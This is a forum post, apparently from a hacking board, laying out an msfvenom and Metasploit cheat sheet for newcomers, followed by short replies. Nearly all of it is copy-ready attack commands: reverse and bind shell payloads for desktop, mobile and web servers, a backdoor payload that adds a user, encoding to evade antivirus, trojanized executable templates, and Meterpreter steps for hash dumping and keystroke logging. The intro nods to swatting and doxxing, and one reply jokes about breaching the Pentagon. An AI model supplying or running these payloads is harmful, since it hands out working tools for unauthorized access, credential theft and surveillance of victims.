msfvenom commands and payloads for newcomers

Dear new kid on the block wanting to fed your self with swats and dox that ain't hackin this is following this comprehensive guide, newcomers can effectively utilize msfvenom and the Metasploit Framework to create and handle various payloads and exploits across different platforms.


Code
Creating a Payload
msfvenom -p [payload] LHOST=[listeninghost] LPORT=[listeningport]

List of Payloads
msfvenom -l payloads

Payload Options
msfvenom -p windows/x64/meterpreter_reverse_tcp --list-options

Creating a Payload with Encoding
msfvenom -p [payload] -e [encoder] -f [formattype] -i [iteration] > outputfile

Creating a Payload Using a Template
msfvenom -p [payload] -x [template] -f [formattype] > outputfile

Listener for msfvenom Payloads
msf5> use exploit/multi/handler
msf5> set payload windows/meterpreter/reverse_tcp
msf5> set lhost [listeninghost]
msf5> set lport [listeningport]
msf5> set ExitOnSession false
msf5> exploit -j

Windows Payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/meterpreter_reverse_http LHOST=IP LPORT=PORT HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > shell.exe
msfvenom -p windows/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe

Linux Payloads
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x64/shell_bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

macOS Payloads
msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=PORT -f macho > shell.macho
msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f macho > shell.macho
msfvenom -p osx/x64/shell_bind_tcp RHOST=IP LPORT=PORT -f macho > shell.macho

Android Payloads
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=PORT R > shell.apk

iOS Payloads
msfvenom -p apple_ios/aarch64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f macho > shell.macho

Web Payloads

PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.php
cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp > shell.asp

JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.jsp

WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war > shell.war

Scripting Payloads

Python
msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=PORT -f raw > shell.py

Bash
msfvenom -p cmd/unix/reverse_bash LHOST=IP LPORT=PORT -f raw > shell.sh

Perl
msfvenom -p cmd/unix/reverse_perl LHOST=IP LPORT=PORT -f raw > shell.pl

Additional Windows Commands

Add a User in Windows
msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe

Windows PowerShell Payload
msfvenom -p windows/powershell_reverse_tcp LHOST=IP LPORT=PORT -f ps1 > shell.ps1

Advanced Techniques

Creating an msfvenom Payload with an Encoder While Removing Bad Characters
msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=IP LPORT=PORT -f c -e x86/shikata_ga_nai -b "\x0A\x0D"

Using Custom Templates
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -x custom.exe -f exe -o payload.exe

Using Exploits and Post Modules with Meterpreter

Migrating to Another Process
meterpreter > ps
meterpreter > migrate [PID]

Dumping Password Hashes
meterpreter > hashdump

Capturing Keystrokes
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Useful Commands for Metasploit Framework

Searching for Exploits
msf5> search name:[exploit_name]

Using an Exploit
msf5> use [exploit_path]

Setting Options for Exploit
msf5> show options

Very nice. Different platforms? I've only ever used it with Kali. How does it perform on other OS's?

You may also want to add the MSFVenom Payload Cheatsheet. I've been using this for years. Works wonders!

Works the same on Mac, just different installation. Clumsy may have meant exploiting different platforms, however.

infosecmatter.com is also good to quickly look up info on modules.
just combined these now I have access to pentagon netbot mainframe thanks
